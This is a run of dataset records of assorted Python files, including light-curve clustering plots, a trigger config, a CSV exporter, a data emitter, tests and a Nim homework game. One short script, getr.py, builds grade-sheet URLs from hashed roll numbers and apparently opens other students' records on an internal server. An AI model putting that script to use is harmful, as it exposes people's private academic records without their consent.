\\\n np.isnan(i[run_starts]))]\n interp_lens = run_lengths[np.nonzero((run_lengths * tdim <= interp_tol) * \\\n np.isnan(i[run_starts]))]\n\n # -- interpolation ---------------------------------------------------------\n # >> interpolate small gaps\n i_interp = np.copy(i)\n for a in range(np.shape(interp_inds)[0]):\n start_ind = interp_inds[a]\n end_ind = interp_inds[a] + interp_lens[a]\n i_interp[start_ind:end_ind] = np.interp(time[start_ind:end_ind],\n time[np.nonzero(~np.isnan(i))],\n i[np.nonzero(~np.isnan(i))])\n intensity.append(i_interp)\n\n# -- remove orbit nan gap ------------------------------------------------------\nintensity = np.array(intensity)\n# nan_inds = np.nonzero(np.prod(np.isnan(intensity)==False), axis = 0))\nnan_inds = np.nonzero(np.prod(np.isnan(intensity)==False, axis = 0) == False)\ntime = np.delete(time, nan_inds)\nintensity = np.delete(intensity, nan_inds, 1) #each row of intensity is one interpolated light curve.\n\n\nintensity = normalize(intensity)\n\nlc_feat = create_list_featvec(time, intensity, 13)\n\n#%%\n#1st-4th moments, natural log variance, skew, kurtosis, power, natural log power, frequency, slope, natural log of slope\nKmean = KMeans(n_clusters=4, max_iter=700, n_init = 20)\n\nx = Kmean.fit(lc_feat)\nclasses_kmeans = x.labels_\n\nprint(classes_kmeans)\n\n#coloring kmeans\nfor n in range(13):\n feat1 = lc_feat[:,n]\n if n == 0:\n label1 = \"average\"\n elif n == 1: \n label1 = \"variance\"\n elif n == 2:\n label1 = \"skewness\"\n elif n == 3:\n label1 = \"kurtosis\"\n elif n == 4:\n label1 = \"log_variance\"\n elif n == 5:\n label1 = \"log_skewness\"\n elif n == 6: \n label1 = \"log_kurtosis\"\n elif n == 7: \n label1 = \"Maximum_power\"\n elif n == 8: \n label1 = \"log_maximum_power\"\n elif n == 9: \n label1 = \"period BJD\"\n elif n == 10: \n label1 = \"slope\"\n elif n == 11: \n label1 = \"log_slope\"\n elif n == 12:\n la\n \n for m in range(12):\n if m == n:\n break\n if m == 0:\n label2 = \"average\"\n elif m == 1: \n label2 = \"variance\"\n elif m == 2:\n label2 = \"skewness\"\n elif m == 3:\n label2 = \"kurtosis\"\n elif m == 4:\n label2 = \"log_variance\"\n elif m == 5:\n label2 = \"log_skewness\"\n elif m == 6: \n label2 = \"log_kurtosis\"\n elif m == 7: \n label2 = \"maximum_power\"\n elif m == 8: \n label2 = \"log_maximum_power\"\n elif m == 9: \n label2 = \"period BJD\"\n elif m == 10: \n label2 = \"slope\"\n elif m == 11: \n label2 = \"log_slope\"\n feat2 = lc_feat[:,m]\n plt.autoscale(enable=True, axis='both', tight=True)\n \n for p in range(len(lc_feat)):\n if classes_kmeans[p] == 0:\n color = \"red\"\n elif classes_kmeans[p] == 1:\n color = \"blue\"\n elif classes_kmeans[p] == 2:\n color = \"green\"\n elif classes_kmeans[p] == 3:\n color = \"purple\"\n plt.scatter(feat1[p], feat2[p], c = color)\n plt.xlabel(label1)\n plt.ylabel(label2)\n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-10/4-10-\" + label1 + \"-vs-\" + label2 + \"-kmeans-colored.png\")\n plt.show()\n\n#%% plotting 20 of each kmeans cluster\ncluster_0 = []\ncluster_1 = []\ncluster_2 = []\ncluster_3 = []\n\nfor n in range(len(intensity)):\n if classes_kmeans[n] == 0:\n cluster_0.append(n)\n elif classes_kmeans[n] == 1:\n cluster_1.append(n)\n elif classes_kmeans[n] ==2:\n cluster_2.append(n)\n elif classes_kmeans[n] == 3:\n cluster_3.append(n)\n\n# subplotting\n#cluster 0\nfig0 = plt.figure(figsize=(20,60))\nfor k in range(20):\n l = cluster_0[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n fig0.title(\"Cluster 0 Examples\")\n ax1 = fig0.add_subplot(10,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"red\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l])\n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-10/kmeans_examples/4-10-kmeans-cluster-0-examples.png\")\n\n#cluster 1 \nfig1 = plt.figure(figsize=(20,60))\nfor k in range(20):\n l = cluster_1[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n ax1 = fig1.add_subplot(10,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"blue\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l])\n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-10/kmeans_examples/4-10-kmeans-cluster-1-examples.png\")\n#cluster 2\nfig2 = plt.figure(figsize=(20,60))\nfor k in range(20):\n l = cluster_2[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n ax1 = fig2.add_subplot(10,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"green\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l]) \n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-10/kmeans_examples/4-10-kmeans-cluster-2-examples.png\")\n\n#cluster 3\nfig3 = plt.figure(figsize=(20,60))\nfor k in range(20):\n l = cluster_3[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n ax1 = fig3.add_subplot(10,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"purple\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l])\n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-10/kmeans_examples/4-10-kmeans-cluster-3-examples.png\")\n \n\n#%%\n#DBSCAN color plots\nn_choose_2_features_plotting(lc_feat, \"4-13\", False, True)\n\n#%% plotting 20 dbscan examples from each class\ncluster_0_db = []\ncluster_1_db = []\ncluster_2_db = []\ncluster_noise_db = []\n\nfor n in range(len(intensity)):\n if classes_dbscan[n] == 0:\n cluster_0_db.append(n)\n elif classes_dbscan[n] == 1:\n cluster_1_db.append(n)\n elif classes_dbscan[n] ==2:\n cluster_2_db.append(n)\n elif classes_dbscan[n] == -1:\n cluster_noise_db.append(n)\n\n#cluster 0\nif len(cluster_0_db) < 20: \n p = len(cluster_0_db)\nelse:\n p = 20\n \nheight = p*5/2\nfig_0 = plt.figure(figsize=(24,height)) #this must be a multiple of 8x3\nfig_0.suptitle(\"DBSCAN Cluster 0\", fontsize=30)\nfig_0.tight_layout()\nfig_0.subplots_adjust(top=0.93)\nfor k in range(p):\n l = cluster_0_db[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n half_p = p/2\n ax1 = fig_0.add_subplot(half_p,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"red\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l]) \n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-13/dbscan-examples/4-13-dbscan-cluster-0.png\")\n\n#cluster 1 \nif len(cluster_1_db) < 20: \n p = len(cluster_1_db)\nelse:\n p = 20\n\nheight = p*5/2\nfig_1 = plt.figure(figsize=(24,height)) #this must be a multiple of 8x3\nfig_1.suptitle(\"DBSCAN Cluster 1\", fontsize=30)\nfig_1.tight_layout()\nfig_1.subplots_adjust(top=0.93)\nfor k in range(p):\n l = cluster_1_db[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n half_p = p/2\n ax1 = fig_1.add_subplot(half_p,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"blue\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l]) \n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-13/dbscan-examples/4-13-dbscan-cluster-1.png\")\n\n#cluster 2\nif len(cluster_2_db) < 20: \n p = len(cluster_2_db)\nelse:\n p = 20\n \nheight = p*5/2\nfig_2 = plt.figure(figsize=(24,height)) #this must be a multiple of 8x3\nfig_2.suptitle(\"DBSCAN Cluster 2\", fontsize=30)\nfig_2.tight_layout()\nfig_2.subplots_adjust(top=0.93)\nfor k in range(p):\n l = cluster_2_db[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n \n half_p = p/2\n ax1 = fig_2.add_subplot(half_p,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"green\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l]) \n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-13/dbscan-examples/4-13-dbscan-cluster-2.png\")\n\n#cluster noise\nif len(cluster_noise_db) < 20: \n p = len(cluster_noise_db)\nelse:\n p = 20\n \nheight = p*5/2\nfig_noise = plt.figure(figsize=(24,height)) #this must be a multiple of 8x3\nfig_noise.suptitle(\"DBSCAN ID'd As Noise\", fontsize=30)\nfig_noise.tight_layout()\nfig_noise.subplots_adjust(top=0.93)\nfor k in range(p):\n l = cluster_noise_db[k] #get the index of the intensity from the cluster list\n l_str = str(l)\n plot_index = k + 1\n half_p = p/2\n ax1 = fig_noise.add_subplot(half_p,2, plot_index)\n ax1.scatter(time, intensity[l], c=\"black\")\n ax1.set_xlabel(\"Time [BJD -2457000]\")\n ax1.set_ylabel(\"Relative Flux\")\n ax1.set_title(targets[l]) \n plt.savefig(\"/Users/conta/UROP_Spring_2020/plot_output/4-13/dbscan-examples/4-13-dbscan-cluster-noise.png\")\n \n\n \n \n ","sub_path":"lgordon/old/plotting_colored_clusters.py","file_name":"plotting_colored_clusters.py","file_ext":"py","file_size_in_byte":11464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"569051879","text":"import FWCore.ParameterSet.Config as cms\n\nhltL3fL1sMu22Or25L1f0L2f10QL3Filtered50Q = cms.EDFilter(\"HLTMuonL3PreFilter\",\n BeamSpotTag = cms.InputTag(\"hltOnlineBeamSpot\"),\n CandTag = cms.InputTag(\"hltIterL3MuonCandidates\"),\n InputLinks = cms.InputTag(\"hltL3MuonsIterL3Links\"),\n L1CandTag = cms.InputTag(\"hltL1fForIterL3L1fL1sMu22or25L1Filtered0\"),\n L1MatchingdR = cms.double(0.3),\n MatchToPreviousCand = cms.bool(True),\n MaxDXYBeamSpot = cms.double(9999.0),\n MaxDr = cms.double(2.0),\n MaxDz = cms.double(9999.0),\n MaxEta = cms.double(1e+99),\n MaxNormalizedChi2 = cms.double(9999.0),\n MaxNormalizedChi2_L3FromL1 = cms.double(1e+99),\n MaxPtDifference = cms.double(9999.0),\n MinDXYBeamSpot = cms.double(-1.0),\n MinDr = cms.double(-1.0),\n MinDxySig = cms.double(-1.0),\n MinN = cms.int32(1),\n MinNhits = cms.int32(0),\n MinNmuonHits = cms.int32(0),\n MinPt = cms.double(50.0),\n MinTrackPt = cms.double(0.0),\n NSigmaPt = cms.double(0.0),\n PreviousCandTag = cms.InputTag(\"hltL2fL1sMu22or25L1f0L2Filtered10Q\"),\n allowedTypeMask = cms.uint32(255),\n inputMuonCollection = cms.InputTag(\"hltIterL3Muons\"),\n minMuonHits = cms.int32(-1),\n minMuonStations = cms.int32(2),\n minTrkHits = cms.int32(-1),\n requiredTypeMask = cms.uint32(0),\n saveTags = cms.bool(True),\n trkMuonId = cms.uint32(0)\n)\n","sub_path":"python/Filters/hltL3fL1sMu22Or25L1f0L2f10QL3Filtered50Q_cfi.py","file_name":"hltL3fL1sMu22Or25L1f0L2f10QL3Filtered50Q_cfi.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"20035119","text":"import sys\nimport csv\nimport os\nimport requests\nfrom flask import make_response\nfrom app.lib.constantcontact import ConstantContact\nfrom celery import task\n\n\ndef progress(count, total, status=''):\n bar_len = 60\n filled_len = int(round(bar_len * count / float(total)))\n\n prcnt = round(100.0 * count / float(total), 1)\n bar = '█' * filled_len + '-' * (bar_len - filled_len)\n\n sys.stdout.write('[%s] %s%s %s\\r' % (bar, prcnt, '%', status))\n sys.stdout.flush()\n\n\ndef WriteDictToCSV(csv_file, csv_columns, dict_data):\n with open(csv_file, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=csv_columns)\n writer.writeheader()\n for data in dict_data:\n writer.writerow(data)\n return\n\n\ndef WriteCSVFile(eventId):\n # ConstantContact setupçj\n API_KEY = \"YOUR_API_KEY_HERE\"\n API_ACCESS_CODE = \"YOUR_API_ACCESS_CODE_HERE\"\n cc = ConstantContact(API_KEY, API_ACCESS_CODE)\n\n # Make API request and retrieve all registrants\n event_reg_params = {\"eventId\": eventId, \"limit\": \"limit\"}\n request = cc.eventspot.events.eventId.registrants(\n variable=event_reg_params)\n\n # List of registrants\n registrants = request[\"results\"]\n\n if len(registrants) == 0:\n print(\"Please check your eventId. Exiting now...\")\n sys.exit(0)\n\n # Dictionary to keep track of our registrants\n users = {}\n\n # Loop over registrants and extract first_name, last_name, email\n # and store as a user in the users dictionary\n for user in registrants:\n uid = user[\"id\"]\n users[uid] = {\"first_name\": user[\"first_name\"],\n \"last_name\": user[\"last_name\"]}\n\n # We are using the user variable so we can remove registrants\n del registrants\n\n # Keep track of our total users and the current index for our progress bar\n total_users = len(users)\n current_user_index = 1\n\n # Now loop over our users and perform an API request to retrieve a user's\n # company name since we need company_name in the CSV export\n for uid in users:\n # Output progress bar\n progress_status = \"User: \"+str(current_user_index)+\"/\"+str(total_users)\n progress(current_user_index, total_users, status=progress_status)\n\n # Make API request for user's company name\n try:\n reg_user_params = {\"eventId\": eventId, \"registrantId\": uid}\n reg_user_req = cc.eventspot.events.eventId.registrants.registrantId(\n variable=reg_user_params\n )\n\n # Store company name in respective user\n company_name = reg_user_req[\"sections\"][1][\"fields\"][2][\"value\"]\n users[uid][\"company\"] = company_name\n\n # Store the registration date in respective user\n registration_date = reg_user_req[\"registration_date\"]\n users[uid][\"registration_date\"] = registration_date\n\n # increment our current index for our progress bar\n current_user_index += 1\n except requests.exceptions.HTTPError as err:\n print(\"Could not process User ID:\", uid)\n print(err)\n print(\"Skipping\", uid)\n print(\"-----------------------------\")\n continue\n\n # Our WriteDictToCSV function requires a list of dictionary values\n dict_data = []\n for uid in users:\n dict_data.append(users[uid])\n\n # Don't need our users dictionary anymore so remove it\n del users\n\n # Perform CSV export\n csv_columns = [\"first_name\", \"last_name\", \"company\", \"registration_date\"]\n currentPath = os.getcwd()\n csv_file = currentPath + \"/app/csv/registrants.csv\"\n\n WriteDictToCSV(csv_file, csv_columns, dict_data)\n\n\n@task\ndef download_csv(eventId):\n WriteCSVFile(eventId=eventId)\n currentPath = os.getcwd()\n csv_string = \"\"\n with open(currentPath + \"/app/csv/registrants.csv\") as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n csv_string += \", \".join(row) + \"\\n\"\n response = make_response(csv_string)\n cd = 'attachment; filename=registrants.csv'\n response.headers['Content-Disposition'] = cd\n response.mimetype = 'text/csv'\n\n return response\n","sub_path":"app/models/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"464990057","text":"import sys\n#import sqlite3\nimport pandas as pd\n# import pandas.io.sql as sql\nimport argparse\nimport logging\nfrom datetime import datetime \nimport os.path\n\n'''\n Live test data generator\n\tUsage in python:\n\t>>>from test_livedatagenerator import emit_live_data\n\t>>>emit_live_data(['inputfile.cav'])\n\n or whatever you need the parameters to be\t\n\n'''\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger()\n\n# refactor - move argument parser to a function\ndef arg_parser(argvector):\n\targparser = argparse.ArgumentParser(description='UTGM live test data generator. Emits pseudo-live UTGM data lines from specified file', \\\n\tepilog='(c) {0} Vivacity Rail Consulting Ltd for RSSB'.format(datetime.today().strftime('%Y')))\n\targparser.add_argument('inputfile', type=argparse.FileType('r'), help='path to input .csv file of UTGM data to use')\n\targparser.add_argument('--outputfile', type=argparse.FileType('w'), default=sys.stdout, help='path to where you want to output the data') # PJ: added default value sys.stdout\n\treturn(argparser.parse_args(argvector))\n\n\t\ndef emit_live_data(argvector):\n\t'''\n\tEmit lines of simulated Unattended Track Geometry Monitoring (UTGM) equipment output at the 0.2m grain, in pseudo-live mode\n\tReading from a specified file\n\n\tAccepts command line arguments for:\n\t - csv file of track data to use\n\n\t'''\n\targs = arg_parser(argvector)\n\twith args.inputfile as f:\n\t\tdf = pd.read_csv(f)\n\n\tlogger.debug('Input rows: {0} Max seconds: {1}'.format(df.shape[0], df['seconds'].max()))\n\tstarttime = datetime.now()\n\tlogger.info('Start time: {0}'.format(starttime))\n\n\twith args.outputfile as f_out: \n\t\t# iterate over the dataframe by seconds into run (df['seconds'])\n\t\tfor sec in range(0, df['seconds'].max()):\n\t#\tfor sec in range(0, 10):\n\t\t\t# filter the dataframe so it only contains rows for the current second\n\t\t\tdf_sec = df[df['seconds']==sec]\n\t\t\t# print out these rows one by one, with timestamp. \n\t\t\tfor i in range(0, df_sec.shape[0]):\n\t\t\t\tf_out.write(df_sec.iloc[i:i+1,:].to_csv(index=False, header=False).rstrip() + ',' + datetime.now().isoformat(timespec='microseconds') + '\\n') # PJ: changed print to f_out.write() and put newline on the end\n\n\t\t\t# per the bullet point, just print out the number of seconds and the number of rows of data in that second\n\t\t\tprint ('Second: {0}; rows: {1}; time:{2}'.format(sec, df_sec.shape[0],datetime.now().isoformat()))\n\n\tendtime = datetime.now()\n\tlogger.info('End time: {0}'.format(endtime))\n\tlogger.info('Duration: {0}'.format(endtime - starttime))\n\n\treturn {'rows': df.shape[0], 'max_seconds': df['seconds'].max()}\n\nif __name__ == \"__main__\": # PJ: removed unwanted code and reverted to original\n\temit_live_data(sys.argv[1:])\n\t\n","sub_path":"broker_demo/ugms_test_data_gen/live/test_livedatagenerator.py","file_name":"test_livedatagenerator.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"406503385","text":"import sys\r\ntry:\r\n\timport hashlib\r\n\timport webbrowser\r\n\timport pickle\r\nexcept:\r\n\tprint('install first hashlib,webbrowser\\n python3 -m pip install pickle\\n python3 -m pip install hashlib\\n python3 -m pip install webbrowser\\nThis code will run on python 3.x')\r\n\tsys.exit(0)\r\nimport os\r\n\r\ntry:\r\n\tN=str(input('Enter Roll : '))\r\n\tmaps=pickle.load(open('Finals','rb'))\r\n\thas=hashlib.md5(N.encode('utf-8')).hexdigest()\r\n\tif has in maps.keys():\r\n\t\tcmd='http://10.1.131.10/grade_sheet/index.php?sname='+N+'&sid='+maps[has]+'&msname='+has+'&ms1=95aea4c3483c560373356d1ba3fd73cc'\r\n\t\twebbrowser.open(cmd)\r\n\telse:\r\n\t\tprint('Enter Valid Roll')\r\n\t\tos.system('pause')\t\r\nexcept:\r\n\tprint('\\n\\n\\t\\tTry in python3.x else whats 8419027520')","sub_path":"getr.py","file_name":"getr.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"189880730","text":"\"\"\"\nThis script creates a COCODataset instance and serializes it into the filesystem.\n\"\"\"\n\nimport pickle\n\nfrom tqdm import tqdm\n\nimport settings\nfrom COCODataset import COCODataset\n\n\ndef _wordToInd(vocab):\n ret = {}\n for i, word in tqdm(enumerate(vocab)):\n assert word not in ret\n ret[word] = i\n return ret\n\n\nif __name__ == '__main__':\n assert not settings.vocabfilepath.is_file()\n\n with open(settings.vocabfilepath, 'wb') as dsf:\n pcklr = pickle.Pickler(dsf)\n dataset = COCODataset('coco/images/train2017', 'coco/annotations/captions_train2017.json', True)\n\n vocab = dataset.calcVocab()\n print('Vocabulary length:', len(vocab))\n\n maxCaptionLen = dataset.calcMaxCaptionLen()\n print('Max caption length:', maxCaptionLen)\n\n wordToInd = _wordToInd(vocab)\n\n obj = {'vocab': vocab, 'maxCaptionLen': maxCaptionLen, 'wordToInd': wordToInd}\n pcklr.dump(obj)\n\n print('Done!')\n","sub_path":"genVocab.py","file_name":"genVocab.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"423666742","text":"# -*- coding: utf-8 -*-\n\"\"\"Test NER\"\"\"\n\nimport unittest\n\nfrom torch_tagger import Tagger\nfrom torch_tagger.utils import text_reader\n\n\nclass TestNER(unittest.TestCase):\n def test_train_ner(self):\n \"\"\"Train NER model\"\"\"\n x_data, y_data = text_reader('./tests/train.txt')\n x_val, y_val = text_reader('./tests/train.txt')\n tag = Tagger(\n embedding_dim=100,\n hidden_dim=100,\n weight_decay=1e-8,\n epochs=20,\n verbose=1,\n batch_size=2,\n device='auto',\n embedding_dropout_p=0.5,\n rnn_dropout_p=0.5,\n bidirectional=True,\n rnn_type='lstm',\n num_layers=1,\n optimizer='SGD',\n learning_rate=0.015,\n learning_rate_decay=0.05,\n embedding_trainable=True,\n use_crf=False,\n use_char='cnn',\n char_max_len=50,\n char_embedding_dim=30,\n char_hidden_dim=50,\n char_dropout_p=0.5,\n char_bidirectional=True,\n clip_grad_norm=None,\n )\n tag.fit(\n x_data,\n y_data,\n x_val,\n y_val,\n predict_batch_size=2,\n save_best='/tmp/test.model')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_ner.py","file_name":"test_ner.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"205103839","text":"#http://en.wikipedia.org/wiki/Tree_traversal\n#Pre-order\n# Visit the root.\n# Traverse the left subtree.\n# Traverse the right subtree.\n#Pre-order traversal while duplicating nodes and values can \n#make a complete duplicate of a binary tree. It can also be used to \n#make a prefix expression (Polish notation) from expression trees:\n#traverse the expression tree pre-orderly.\n\n#########################\n#Depth First Order\n#########################\n\n#recursive\ndef preorder_recursive(bt, node):\n\tif node == None:\n\t\treturn \n\n\tbt.visit(node)\n\tpreorder_recursive(node.left)\n\tpreorder_recursive(node.right)\n\n#iterative\ndef preorder_iterative(bt, node):\n\tstk = []\n\ttop = node\n\twhile top != None:\n\t\tbt.visit(node)\n\t\tif node.right != None:\n\t\t\tstk.push(node.right)\n\t\tif node.left != None:\n\t\t\tstk.push(node.left)\n\n\t\ttop = stk.pop()\n\n\n","sub_path":"Tree Tansversal/Binary Tree/preorder.py","file_name":"preorder.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"117891144","text":"#!/usr/bin/env python\nimport urllib2\nimport sys\n\nif __name__ == '__main__':\n\n if len(sys.argv) != 2:\n print(\"Usage: \" + sys.argv[0] + \" URL\")\n sys.exit(1)\n proxy_handler = urllib2.ProxyHandler({'http': 'http://127.0.0.1:3128'})\n opener = urllib2.build_opener(proxy_handler)\n urllib2.install_opener(opener)\n\n f = urllib2.urlopen(sys.argv[1])\n\n fh = open('download.bin', 'wb')\n fh.write(f.read())\n fh.close\n","sub_path":"net/get_binary.py","file_name":"get_binary.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"349466226","text":"#!/usr/bin/env python3\n\nimport websocket\nimport json\nimport time\nimport argparse\n\nclass Statusleds:\n\tdef __init__(self, url, betrled, verbled, txled):\n\t\tself.bled = betrled\n\t\tself.vled = verbled\n\t\tself.txled = txled\n\t\tself.ws = websocket.create_connection(url)\n\t\tself.setled(self.bled, True)\n\t\n\tdef __enter__(self):\n\t\treturn self\n\t\n\tdef __exit__(self, exc_type, exc_value, traceback):\n\t\tself.setled(self.bled, False)\n\t\tself.ws.close()\n\t\n\tdef setled(self, led, status):\n\t\tif led == None:\n\t\t\tprint(\"Led not present\")\n\t\t\treturn\n\t\tif led < 0:\n\t\t\tled = -led\n\t\t\tprint(\"Setting led %d to %d\" % (led, not status))\n\t\telse:\n\t\t\tprint(\"Setting led %d to %d\" % (led, status))\n\n\tdef setstatus(self):\n\t\tself.ws.send('\"GetStatus\"')\n\t\tsres = self.ws.recv()\n\t\tres = json.loads(sres)\n\t\tprint(\"Resp:\")\n\t\tprint(json.dumps(res,indent=4))\n\t\ttry:\n\t\t\tstatus = res[\"Status\"]\n\t\texcept KeyError:\n\t\t\tprint(\"Got error, ignoring\")\n\t\t\treturn\n\t\tself.setled(self.vled, status[\"connected\"])\n\t\tself.setled(self.txled, status[\"transmitting\"])\n\t\n\tdef loop(self):\n\t\twhile True:\n\t\t\tself.setstatus()\n\t\t\ttime.sleep(1)\n\nparser = argparse.ArgumentParser(description='Set status LEDs')\nparser.add_argument('--hostname', default='localhost',\n help='The host running RustPager')\nparser.add_argument('--port', default='8055',\n help='The port RustPager is listening')\nparser.add_argument('--gpioRun', '-b', dest='betrled', default=None, type=int,\n help='The led number of the \"Betrieb\" led')\nparser.add_argument('--gpioConn', dest='verbled', default=None, type=int,\n help='The led number of the \"Verbindung\" led')\nparser.add_argument('--gpioTX', dest='txled', default=None, type=int,\n help='The led number of the \"TX\" led')\n\nargs = parser.parse_args()\nprint(args)\n\nwith Statusleds(\"ws://%s:%s/\" %(args.hostname, args.port), args.betrled, args.verbled, args.txled) as setter:\n\tsetter.loop()\n","sub_path":"statusleds.py","file_name":"statusleds.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"123216107","text":"# Donaghe-Avynn Homework 2\n#(CRN: 10361, Lab Time: 12:00)\n\nimport time\nimport doctest\n\n########################\n#\n\ndef initializeGame():\n \"\"\"\n void -> int\n PRE: Nothing is passed to this function\n POST: A valid number of chips is returned\n \"\"\"\n pileBiggerThanZero = True;\n while pileBiggerThanZero:\n pileSize = int(input('how many chips are in each pile? '))\n if pileSize <= 0:\n print('please enter a proper value: (e.g. 1-100) ')\n else:\n pileBiggerThanZero = False\n\n return pileSize\n\n#\n# end of initializeGame\n#######################\n\n\n\n#######################\n#\n\ndef displayPiles(pile1, pile2):\n \"\"\"\n int,int -> void\n PRE: Two non-negative integers are passed to the function\n POST: The piles of chips are displayed to the screen where each\n chip is an \"O\". A space inserted after every fifth chip to\n improve readability. Further, a newline is inserted after\n both piles are displayed\n >>> displayPiles(3,6)\n Pile 1: OOO\n Pile 2: OOOOO O\n \n >>> displayPiles(6,4)\n Pile 1: OOOOO O\n Pile 2: OOOO\n \n >>> displayPiles(20,20)\n Pile 1: OOOOO OOOOO OOOOO OOOOO\n Pile 2: OOOOO OOOOO OOOOO OOOOO\n \n >>> displayPiles(0,6)\n Pile 1:\n Pile 2: OOOOO O\n \n \"\"\"\n def chunkProducer (pile):\n if pile >= 5:\n iterations = int(pile/5)\n string = (\"OOOOO \" * iterations)\n string = string + (\"O\" * (pile % 5))\n return string\n elif pile == 0:\n string = \"\"\n return string\n else:\n string = \"O\" * pile\n return string\n\n print('Pile 1: ' + chunkProducer(pile1))\n print('Pile 2: ' + chunkProducer(pile2) + '\\n')\n\n#\n# end of displayPiles ###########\n\n\n\n#########################\n#\n\ndef getHumanMove(p1chips, p2chips):\n \"\"\"\n int,int -> int,int\n PRE: Two integers, both non-negative, at least one larger than zero, are passed in. The\n first number represents the count of chips in pile 1, the second number is the count of\n chips in pile 2\n POST: Two values are returned: (1) the pile that the human player has chosen (e.g. 1 or 2)\n which I'll call humanPile. (2)the number of chips that the human would like to take\n from his chosen pile which I'll call humanChips. The function ensures that the move is\n valid but does not update the number of chips in either pile.\n To be precise, upon returning the function ensures that there are at least\n humanChips chips left in humanPile.\n \"\"\"\n flag1 = True\n flag2 = True\n while flag1:\n humanPile = int(input('Which pile would you like to take from? (e.g. 1 or 2) '))\n if humanPile <= 2 and humanPile >= 1:\n print('you chose pile ', humanPile)\n flag1 = False\n else:\n print('please enter a proper value, only 1 and 2 are acceptable responses.')\n\n while flag2:\n humanChips = int(input('how many chips would you like to take? '))\n if humanChips <= p2chips and humanChips >= 0:\n flag2 = False\n elif humanChips >= p2chips:\n print('please enter a value lower than the opponent\\'s chips')\n elif humanChips <= 0:\n print('please enter a value higher than zero.')\n else:\n print('please enter a proper value')\n\n return humanPile, humanChips\n\n#\n# end of getHumanMove ##########\n\n\n\n##################\n#\n\ndef updatePiles(pileChosen, chipsChosen, pile1chips, pile2chips):\n \"\"\"\n int, int, int, int -> int, int\n PRE: Four parameters are passed to this function. (1) the pile chosen from, (2) the\n number of chips chosen from that pile, (3) the current count of chips in pile 1, (4) the\n current count in pile 2.\n POST: Two values are returned, namely, the count of chips in each pile after the human moves.\n >>> updatePiles(1,3,5,6)\n (2, 6)\n >>> updatePiles(2,3,5,6)\n (5, 3)\n >>> updatePiles(1,4,5,6)\n (1, 6)\n >>> updatePiles(2,6,7,8)\n (7, 2)\n \"\"\"\n if pileChosen == 1:\n pile1chips = pile1chips - chipsChosen\n else:\n pile2chips = pile2chips - chipsChosen\n\n return pile1chips, pile2chips\n\n#\n#end of updatePiles #########\n\n\n\n##################\n#\n\ndef computerMove(humanPile, humanChips, pile1chips, pile2chips):\n \"\"\"\n int, int, int, int -> int, int\n PRE: Four parameters are passed to this function: (1) the pile the human chose from on her\n last turn, (2) the number of chips the human took on her last turn, (3) the count of chips\n in pile 1, (4) the count of chips in pile 2.\n POST: the pile chosen by the computer, the number of chips chosen by the computer\n >>> 